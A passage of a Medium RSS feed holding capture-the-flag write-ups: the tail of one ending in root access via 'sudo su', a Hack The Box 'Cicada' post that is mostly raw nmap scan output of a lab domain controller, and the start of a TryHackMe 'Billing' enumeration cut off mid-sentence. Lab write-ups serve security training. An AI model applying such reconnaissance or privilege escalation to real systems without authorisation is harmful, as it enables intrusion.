i added that and as you can see below i do not have permissions to even read the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*Y2w8XJ2XpfID6gvW" /></figure><p>using the command sudo -l we can see our permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z6H4TlNyd3do1K4n" /></figure><p>we will have multiple errors but this is fine our command has take an effect.</p><p>with that we can do what ever we want.</p><pre>using the command sudo su will give you shell as root.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*PL03gfFpV6-MgcFJ" /></figure><h3>conclusion.</h3><p>In the end this machine was a great experience it has a good ideas too specially the rooting part was so much fun.</p><p>That’s all for me thank you for reading 🫶</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/0*jk8U3BKMgJwoyKbG" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2821e611163" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Cicada | WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/hack-the-box-cicada-writeup-d7666832b13b?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7666832b13b</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[chilling]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Wed, 14 May 2025 04:32:35 GMT</pubDate>
            <atom:updated>2025-05-14T04:32:35.254Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Cicada | WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*AxCPpp8tm3MSTysF" /></figure><p>Scanning</p><pre>PORT      STATE SERVICE       REASON          VERSION<br>53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus<br>88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-10-27 18:44:28Z)<br>135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-08-22T20:24:16<br>| Not valid after:  2025-08-22T20:24:16<br>| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65<br>| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a<br>| -----BEGIN CERTIFICATE-----<br>| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF<br>| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh<br>| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy<br>| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ<br>| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8<br>| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua<br>| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc<br>| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x<br>| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy<br>| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC<br>| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A<br>| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/<br>| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3<br>| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL<br>| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7<br>| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp<br>| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D<br>| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz<br>| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j<br>| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz<br>| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB<br>| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl<br>| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk<br>| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj<br>| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi<br>| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD<br>| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE<br>| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb<br>| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz<br>| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT<br>| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF<br>| ji6zxYOoOznp6JlmbakLb1ZRLA8=<br>|_-----END CERTIFICATE-----<br>445/tcp   open  microsoft-ds? syn-ack ttl 127<br>464/tcp   open  kpasswd5?     syn-ack ttl 127<br>593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-08-22T20:24:16<br>| Not valid after:  2025-08-22T20:24:16<br>| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65<br>| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a<br>| -----BEGIN CERTIFICATE-----<br>| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF<br>| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh<br>| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy<br>| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ<br>| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8<br>| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua<br>| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc<br>| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x<br>| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy<br>| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC<br>| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A<br>| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/<br>| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3<br>| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL<br>| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7<br>| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp<br>| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D<br>| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz<br>| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j<br>| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz<br>| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB<br>| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl<br>| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk<br>| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj<br>| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi<br>| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD<br>| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE<br>| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb<br>| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz<br>| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT<br>| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF<br>| ji6zxYOoOznp6JlmbakLb1ZRLA8=<br>|_-----END CERTIFICATE-----<br>|_ssl-date: TLS randomness does not represent time<br>3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-08-22T20:24:16<br>| Not valid after:  2025-08-22T20:24:16<br>| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65<br>| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a<br>| -----BEGIN CERTIFICATE-----<br>| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF<br>| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh<br>| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy<br>| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ<br>| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8<br>| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua<br>| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc<br>| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x<br>| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy<br>| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC<br>| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A<br>| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/<br>| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3<br>| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL<br>| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7<br>| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp<br>| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D<br>| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz<br>| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j<br>| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz<br>| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB<br>| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl<br>| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk<br>| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj<br>| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi<br>| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD<br>| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE<br>| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb<br>| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz<br>| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT<br>| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF<br>| ji6zxYOoOznp6JlmbakLb1ZRLA8=<br>|_-----END CERTIFICATE-----<br>|_ssl-date: TLS randomness does not represent time<br>3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-08-22T20:24:16<br>| Not valid after:  2025-08-22T20:24:16<br>| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65<br>| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a<br>| -----BEGIN CERTIFICATE-----<br>| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF<br>| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh<br>| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy<br>| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ<br>| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8<br>| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua<br>| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc<br>| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x<br>| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy<br>| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC<br>| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A<br>| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/<br>| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3<br>| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL<br>| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7<br>| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp<br>| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D<br>| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz<br>| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j<br>| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz<br>| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB<br>| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl<br>| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk<br>| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj<br>| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi<br>| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD<br>| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE<br>| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb<br>| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz<br>| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT<br>| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF<br>| ji6zxYOoOznp6JlmbakLb1ZRLA8=<br>|_-----END CERTIFICATE-----<br>5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>52510/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running (JUST GUESSING): Microsoft Windows 2022 (89%)<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete<br>Aggressive OS guesses: Microsoft Windows Server 2022 (89%)<br>No exact OS matches for host (test conditions non-ideal).<br>TCP/IP fingerprint:<br>SCAN(V=7.94SVN%E=4%D=10/27%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=671E2ADE%P=x86_64-pc-linux-gnu)<br>SEQ(SP=103%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=A)<br>SEQ(SP=103%GCD=2%ISR=10A%TI=I%II=I%SS=S%TS=A)<br>OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)<br>WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)<br>ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=)<br>T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)<br>T2(R=N)<br>T3(R=N)<br>T4(R=N)<br>U1(R=N)<br>IE(R=Y%DFI=N%TG=80%CD=Z)<br><br>Uptime guess: 0.890 days (since Sat Oct 26 22:36:54 2024)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=259 (Good luck!)<br>IP ID Sequence Generation: Incremental<br>Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| p2p-conficker:<br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 43674/tcp): CLEAN (Timeout)<br>|   Check 2 (port 4355/tcp): CLEAN (Timeout)<br>|   Check 3 (port 62917/udp): CLEAN (Timeout)<br>|   Check 4 (port 17247/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>|_clock-skew: 6h47m40s<br>| smb2-security-mode:<br>|   3:1:1:<br>|_    Message signing enabled and required<br>| smb2-time:<br>|   date: 2024-10-27T18:45:25<br>|_  start_date: N/A<br><br>TRACEROUTE (using port 135/tcp)<br>HOP RTT       ADDRESS<br>1   361.30 ms 10.10.16.1<br>2   361.68 ms cicada.htb (10.10.11.35)<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 19:58<br>Completed NSE at 19:58, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 19:58<br>Completed NSE at 19:58, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 19:58<br>Completed NSE at 19:58, 0.00s elapsed<br>Read data files from: /usr/share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 102.21 seconds<br>           Raw packets sent: 111 (8.568KB) | Rcvd: 45 (2.696KB)</pre><p>The rest of the walk through you can find it on my gitbook.</p><p><a href="https://pythonic01.gitbook.io/pythonic01/hack-the-box/cicada-htb">Cicada (HTB) | Pythonic01</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7666832b13b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Billing |WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-billing-writeup-e3185bf92d76?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3185bf92d76</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 09:20:08 GMT</pubDate>
            <atom:updated>2025-03-09T09:20:08.150Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Billing |WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*xT9khXISoaipxL16" /></figure><h3>Intro</h3><p>Welcome everyone today we have a fresh try hack me machine let’s jump right into it.</p><h3>Enumeration.</h3><h3>Port scanning.</h3><pre>22/tcp   open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCukT/TLi8Po4V6OZVI6yhgSlTaANGLErWG2Hqz9UOxX3XXMFvRe0uivnYlcvBwvSe09IcHjC6qczRgRjdqQOxF2XHUIFBgPjNOR3mb1kfWg5jKAGun6+J9atS8z+5d6CZuv0YWH6jGJTQ1YS9vGNuFvE3coJKSBYtNbpJgBApX67tCQ4YKenrG/AQddi3zZz3mMHN6QldivMC+NCFp+PozjjoJgD4WULCElDwW4IgWjq64bL3Y/+Ii/PnPfLufZwaJNy67TjKv1KKzW0ag2UxqgTjc85feWAxvdWKVoX5FIhCrYwi6Q23BpTDqLSXoJ3irVCdVAqHfyqR72emcEgoWaxseXn2R68SptxxrUcpoMYUXtO1/0MZszBJ5tv3FBfY3NmCeGNwA98JXnJEb+3A1FU/LLN+Ah/Rl40NhrYGRqJcvz/UPreE73G/wjY8LAUnvamR/ybAPDkO+OP47OjPnQwwbmAW6g6BInnx9Ls5XBwULmn0ubMPi6dNWtQDZ0/U=<br>|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBVI/7v4DHnwY/FkhLBQ71076mt5xG/9agRtb+vldezX9vOC2UgKnU6N+ySrhLEx2snCFNJGG0dukytLDxxKIcw=<br>|   256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII6ogE6DWtLYKAJo+wx+orTODOdYM23iJgDGE2l79ZBN<br>80/tcp   open  http     syn-ack Apache httpd 2.4.56 ((Debian))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.56 (Debian)<br>| http-title:             MagnusBilling        <br>|_Requested resource was http://billing.thm/mbilling/<br>| http-robots.txt: 1 disallowed entry <br>|_/mbilling/<br>3306/tcp open  mysql    syn-ack MariaDB 10.3.23 or earlier (unauthorized)<br>5038/tcp open  asterisk syn-ack Asterisk Call Manager 2.10.6</pre><p>There are few interesting services running we see mysql and asterisk.</p><p>asterisk is a services that help you to manage the Voice Over IP communication.</p><p>First let’s check the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*FoK1hzVj_XQ5UlAN" /></figure><p>Here we have simple login page. Tried some default creds but nothing works, after some more enumeration i decided to check the name that shows in 